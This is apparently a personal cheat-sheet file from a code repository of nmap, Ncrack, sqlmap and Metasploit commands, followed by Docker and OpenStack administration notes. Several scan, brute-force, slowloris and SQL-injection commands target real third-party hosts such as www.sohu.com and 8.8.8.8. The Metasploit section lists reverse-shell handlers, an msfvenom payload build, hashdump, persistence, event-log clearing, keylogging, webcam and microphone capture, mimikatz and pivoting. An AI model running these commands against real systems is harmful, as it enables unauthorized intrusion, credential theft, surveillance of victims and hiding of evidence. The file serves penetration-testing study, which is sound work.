-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathnmap_command_record.txt
More file actions
423 lines (340 loc) · 15 KB
/
Copy pathnmap_command_record.txt
File metadata and controls
423 lines (340 loc) · 15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
NSE Script Category:
auth: This category is for scripts related to user authentication
broadcast: This is a very interesting category of scripts that use broadcast petitions to gather information
brute: This category is for scripts that help conduct brute-force password auditing
default: This category is for scripts that are executed when a script scan is executed( -sC )
discovery: This category is for scripts related to host and service discovery.
dos: This category is for scripts related to denial of service attacks
exploit: This category is for scripts that exploit security vulnerabilities
external: This category is for scripts that depend on a third-party service
fuzzer: This category is for NSE scripts that are focused on fuzzing
intrusive: This category is for scripts that might crash something or generate a lot
of network noise; scripts that system administrators may consider intrusive belong to this category
malware: This category is for scripts related to malware detection
safe: This category is for scripts that are considered safe in all situations
version: This category is for scripts that are used for advanced versioning
vuln: This category is for scripts related to security vulnerabilities
# traceroute scan
nmap -sn -traceroute www.sohu.com
nmap -sn --script dns-brute websec.mx
# OS detect
nmap -A -Pn www.sohu.com
nmap -O scanme.nmap.org
nmap -O --osscan-guess www.sohu.com
nmap -O -v www.sohu.com
# Host live detect
nmap -sn --script broadcast-ping 192.168.0.1/24
# Host port scan
nmap www.sohu.com
# Service scan
nmap -sV www.sohu.com
nmap -sV --version-intensity 9 www.sohu.com
# Special Protocol and port scan
nmap -pT:25,U:53 www.sohu.com
nmap -p[1-65535] www.sohu.com
# Convert host name to IP Addr with spec DNS server after scan.
nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
# Special iface to scan
nmap -e eth2 www.sohu.com
#script scan using the Nmap option -sC
nmap -sC www.sohu.com
nmap -p80 --script http-trace --script-args http-trace.path
nmap --script http-headers,http-title scanme.nmap.org
#Run all the scripts in the vuln category
nmap -sV --script vuln www.sohu.com
#Run the scripts in the version or discovery categories
nmap -sV --script="version,discovery" www.sohu.com
#Run all the scripts except for the ones in the exploit category
nmap -sV --script "not exploit" www.sohu.com
#Run all HTTP scripts except http-brute and http-slowloris
nmap -sV --script "(http-*) and not(http-slowloris or http-brute)" www.sohu.com
#Debug Run NSE script
nmap -sC --script-trace www.sohu.com
#Add the new script
nmap --script-updatedb
#Run spec script (https://secwiki.org/w/Nmap/External_Script_Library)
nmap --script /root/loot/nonofficial.nse www.sohu.com
#RUN scan the targets loaded from an external file in Nmap.
nmap -iL targets.txt
cat targets.txt
192.168.1.1
192.168.1.20-30
nmap --exclude-file dontscan.txt 192.168.1.1/24
#RUN scan IP adress range
nmap 192.168.1.0-255
nmap 192.168.*
nmap 192.168.1.0 192.168.1.1 192.168.1.2 ... 192.168.1.254 192.168.1.255
nmap -p25,80 -O -T4 192.168.1.1/24 scanme.nmap.org/24
nmap 192.168.1.1-255 --exclude 192.168.1.1,192.168.1.2
#RUN scans against random targets on the Internet
nmap -iR 100
#Run scan to find random NFS shares online((https://www.shodan.io/)
nmap -p2049 --open -iR 0
nmap -p80 --script http-headers --script-args http-max-cache-size=0
nmap -p80,443 -Pn -T4 --open --script http-headers,http-title,ssl-cert --script-args http
#Run scan and save result to file
nmap -oX base_results.xml -sV -Pn www.sohu.com
#Run respond to an ICMP echo request packet from 0.10 before with an echo reply
nping --icmp -c 1 --icmp-type 0 --icmp-code 0 --source-ip 192.168.0.5 --dest-ip 192.168.0.10
#Run ncat with Lua script
ncat --lua-exec /path/to/httpd.lua --listen 8080 --keep-open
#Run Ncrack to guess the password
ncrack ssh://www.sohu.com:22
ncrack -U <user list file> -P <password list file> <[service-name]>://<target>:<[port-number]>
ncrack --save cracking-session <[service-name]>://<target>:<[port-number]>
ncrack --resume cracking-session <[service-name]>://<target>:<[port-number]>
#Run TCP SYN scan
nmap -sn -PS 192.168.1.1/24
nmap -sn -PS80,21,53 www.sohu.com
#Run TCP ACK scan
nmap -sn -PA www.sohu.com
nmap -sn -PA21,22-80 www.sohu.com
#Run UDP scan
nmap -sn -PU www.sohu.com
nmap -sn -PU21-1024 www.sohu.com
#Run ICMP echo request scan (-PP ICMP timestamp reply -PM address mark reply --packet-trace debug info)
nmap -sn -PE --packet-trace www.sohu.com
#Run SCTP scan or init/echo scan
nmap -sn -PY (-sY/-sZ) www.sohu.com
#Run IP protocol ping scan such as IGMP/ICMP/Ip-in-IP etc
nmap -sn -PO --packet-trace scanme.nmap.org
nmap -sn -PO1,2,17 scanme.nmap.org (Note 1-ICMP 2-IGMP 6-TCP 17-UDP 132-SCTP)
nmap -sn -PO --data-length 100 scanme.nmap.org (generate 100 random data)
#Run ARP scan
nmap -sn -PR 192.168.0.1/24
nmap -sn -PS --packet-trace --send-ip 192.168.1.254
#Run MAC spoofing scan
nmap -sn -PR --spoof-mac <mac address> <target>
#Run scan combine with multi-option
nmap -sn --send-ip -PS21,22,23,25,80,445,443,3389,8080 -PA80,443,8080 -PO1,2,4,6 -PU631,16
#Run ping broacast scan
nmap --script broadcast-ping
nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5
nmap --script broadcast-ping --script-args broadcast-ping.interface=wlan0
#Run IPv6 scan
nmap -6 scanme.nmap.org
nmap -6 --script targets-ipv6-multicast-slaac --script-args interface=eth1 -sn
nmap -6 --script targets-ipv6-multicast-mld --script-args interface=eth1 -sn
#Run broadcast scan to discover kinds of service
nmap --script broadcast -e eth1
nmap --script broadcast --script-args targets-sniffer.timeout 30
nmap --script "broadcast and not targets-*"
#Run scan with proxy
nmap -sV -Pn -n --proxies <comma separated list of proxies> <target>
nmap -sV -Pn -n --proxies socks4://127.0.0.1:9050 scanme.nmap.org
#Run scan with spoof IP
nmap -p80 --script ipidseq 192.168.0.1/24
nmap -p80 --script ipidseq -iR 100
nmap -Pn -sI <zombie host> <target>
#Run scan to get geographical information
nmap -sn --script whois-* sohu.com
nmap --script whois-ip --script-args whois.whodb=arin+ripe+afrinic <target>
nmap --traceroute --script traceroute-geolocation 8.8.8.8
#Run scan with shodan and google's malware web reporter.
nmap -sn -Pn -n --script shodan-api --script-args shodan-api.apikey=<ShodanAPI KEY> 8.8.8.8
nmap -p80 --script http-google-malware --script-args http-google-malware.api=<API> 8.8.8.8
#Run scan to get mail server account
nmap -p <Port> --script http-grep <target>
nmap -sn --script hostmap-* www.sohu.com
nmap -sn --script hostmap-ip2hosts --script-args hostmap-ip2hosts.prefix=HOSTSFILE <target>
nmap --script dns-brute www.sohu.com
nmap --script dns-brute --script-args dns-brute.hostlist=words.txt <target>
nmap --script dns-brute --script-args dns-brute.threads=8 <target>
nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
#Run scan obtain profile information from people in organizations using Gmail with Nmap.
nmap -sn --script google-people-enum --script-args='username=<username>,password=<password>' <target>
https://github.com/danielmiessler/SecLists
https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/vulscan.nse
nmap -p80 -sV --script vulscan --script-args vulscan.updatedb 8.8.8.8
nmap -sV --script vulscan 8.8.8.8
nmap -p80,443 --script http-methods,http-trace --script-args http-methods.test-all=true 8.8.8.8
nmap -p80,443 --script http-methods,http-trace --script-args http-methods.retest 8.8.8.8
nmap --script http-enum -p80,443 8.8.8.8
nmap -p80 --script http-userdir-enum 8.8.8.8
nmap -p80 --script http-brute 8.8.8.8
nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m 8.8.8.8
#Run scan to detect WAF or IPS use the following command
nmap -p80 --script http-waf-detect,http-waf-fingerprint 8.8.8.8
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro" 8.8.8.8
#Run scan for XSS
nmap -p80 --script http-methods,http-trace --script-args http-methods.retest 8.8.8.8
nmap -p80 --script http-unsafe-output-escaping 8.8.8.8
nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping 8.8.8.8 (for PHP)
nmap -p80 --script http-xssed 8.8.8.8
#Run scan for SQL injection
nmap -p80 --script http-sql-injection 8.8.8.8
nmap -p80 --script http-slowloris --max-parallelism 400 8.8.8.8
nmap -p80 --script http-default-accounts 8.8.8.8
nmap -sV --script http-shellshock 8.8.8.8
nmap -sV --script http-shellshock --script-args cmd=ls 8.8.8.8
nmap -p80 --script http-git 192.168.1.1
# wget -r http://target/.git/
# find .git -type f -name 'index.htm*' -delete
# git status
# git checkout -- .
nmap -p80 --script http-grep --script-args http-grep.builtins=e-mail 192.168.1.1
nmap -p80 --script http-grep --script-args http-grep.builtins 192.168.1.1
#RUn scan to only test DNS delay.
nmap -R -Pn -sn 8.8.8.8
#Display time parameter then adjust it.
nmap -T4 -d 192.168.1.1
nmap -T4 --scan-delay 1s --initial-rtt-timeout 150ms --host-timeout 15m -d scanme.nmap.org
nmap -sV -A -p- --host-timeout 5m 192.168.1.1
nping -c30 scanme.nmap.org
nmap -sn --max-retries 10 192.168.1.1
#search within google hack database for web hack
inurl:index.php?id=
inurl:gallery.php?id=
inurl:post.php?id=
inurl:art?id=
sqlmap.py -u "URL of a vulnerable web page"--dbs
sqlmap -u "URL of a vulnerable web page"--tables -D scanme
sqlmap -u "URL of a vulnerable web page"-column -D scanme -T table_name
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134;
set LPORT 8080; run; exit -y"
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.1
set LPORT 4444
exploit
#meterpreter: this command can change current process to PID 1024.
migrate 1024
#meterpreter dump the password hash
hashdump
#meterpreter 'run persistence' will install persistence module on hacked system
run persistence
#meterpreter clear the event log
run autoroute -p
run autoroute -s 192.168.20.0 255.255.255.0
background
run event_manager -i
run event_manager -c
clearev
sysinfo
enumdesktop
getdesktop
screenshots
record_mic
webcam_stream
webcam_list
keyscan_start/keyscan_dump
search *.pdf
getuid
getpid
hashdump
'load mimikatz' then run 'kerberos'
sniffer_interface/sniffer_start/sniffer_dump
getsystem
Example:
db_nmap -sV 192.168.1.1 -p 21,22,23,25,80,135,139,443,445 --open
http://192.168.1.1
use auxiliary/scanner/http/brute_dirs
use auxiliary/scanner/http/dir_scanner
use expliot/multi/scanner/http/php-utility-belt
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > test.exe
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
(run ipconfig then see another IP 172.28.128.8 not 192.168.1.1's subnet)
use post/windows/manage/autoroute
set SUBNET 172.28.128.0
-----
set SQL "show tables from wordpress"
set SQL "select * from wordpress.wp_users"
use auxiliary/server/socks4a
#Docker
sudo apt-get install -y docker-engine
docker --version
sudo wget -qO- https://get.docker.io/ | sh
sudo docker pull hello-world
sudo docker images
docker run hello-world
sudo service docker status
sudo service docker restart
docker history
sudo docker push busybox
sudo docker pull busybox:1.24
sudo docker images --no-trunc
sudo docker pull registry.example.com/myapp
sudo docker search mysql
sudo docker run -i -t ubuntu:16.04 /bin/bash
sudo docker attach hello-world
sudo docker diff d5ad60f174d3(ID)
sudo docker start/stop/pause/unpause d5ad60f174d3(ID)
sudo docker commit d5ad60f174d3(ID)
sudo docker logs
sudo git clone https://github.com/openstack-dev/devstack.git /opt/devstack/
cd /opt/devstack/
sudo tools/create-stack-user.sh
sudo chown -R stack:stack /opt/devstack/
sudo -i -u stack
cd /opt/devstack/
openstack service create --name glance --description "OpenStack Image service" image
openstack service list
openstack endpoint create \
--publicurl http://10.0.2.15:9292 \
--internalurl http://10.0.2.15:9292 \
--adminurl http://10.0.2.15:9292
--region RegionOne image
openstack endpoint list
source keystonerc_admin
openstack project create --description "Test project" apress
openstack project list
openstack user create --password-prompt apressuser
openstack role add --project apress --user apressuser _member_
openstack role list
openstack user delete apressuser
openstack project delete apress
systemctl status memcached.service
openstack endpoint show identity
wget -P /tmp http://download.cirros-cloud.net/0.3.4/cirros-0.3.4-x86_64-disk.img
qemu-img info /tmp/cirros-0.3.4-x86_64-disk.img
openstack image create --file /tmp/cirros-0.3.4-x86_64-disk.img --disk-format qcow2 \
--container-format bare --public cirros-0.3.4-x86_64
openstack image add project
source keystonerc_demo
neutron net-create ext-net --router:external True --provider:physical_network external --provider:network_type flat
neutron subnet-create ext-net --name ext-subnet --allocation-pool
start=10.0.2.100,end=10.0.2.200 --disable-dhcp --gateway 10.0.2.2 10.0.2.0/24
neutron net-list
neutron net-create demo-net
neutron subnet-create demo-net --name demo-subnet --gateway 172.16.0.1 172.16.0.0/24
neutron router-create demo-router
neutron router-interface-add demo-router demo-subnet
#set ext-net as a gateway for the router
neutron router-gateway-set demo-router ext-net
source keystonerc_admin
neutron port-list
#reach out to an external network
neutron floatingip-create ext-net
nova list
nova port-list
neutron floatingip-associate node-identity
nova secgroup-create apress-sgroup "Apress secgroup"
nova secgroup-add-rule apress-sgroup tcp 22 22 0.0.0.0/0
nova add-secgroup apressinstance11 apress-sgroup
nova remove-secgroup apressinstance1 default
nova secgroup-list-rules apress-sgroup
neutron quota-show
#Nova: manage basic virtual machines functions like creating, starting, stopping
openstack flavor list
source keystonerc_admin
#create flavor name m10.tiny that has a 3GB disk, 400Mb RAM, and 1 vCPU
nova flavor-create --is-public true m10.tiny auto 400 3 1
nova flavor-delete m10.tiny
nova keypair-add apresskey1 > ~/apresskey1
nova keypair-list
chmod 600 apresskey1
ssh -i ~/apresskey1 cirros@192.168.0.1
nova boot --flavor m10.tiny --image cirros-raw --security-groups apress-sgroup --key-name apresskey1 apressinstance1
nova get-vnc-console apressinstance1 novnc
nova stop/delete/reboot apressinstance1
nova image-create apressinstance1 apressinstance1_snap
nova quota-show
nova hypervisor-list
nova-manage vm list | grep active
systemctl status *nova* -n 0
openstack service show nova
openstack endpoint show nova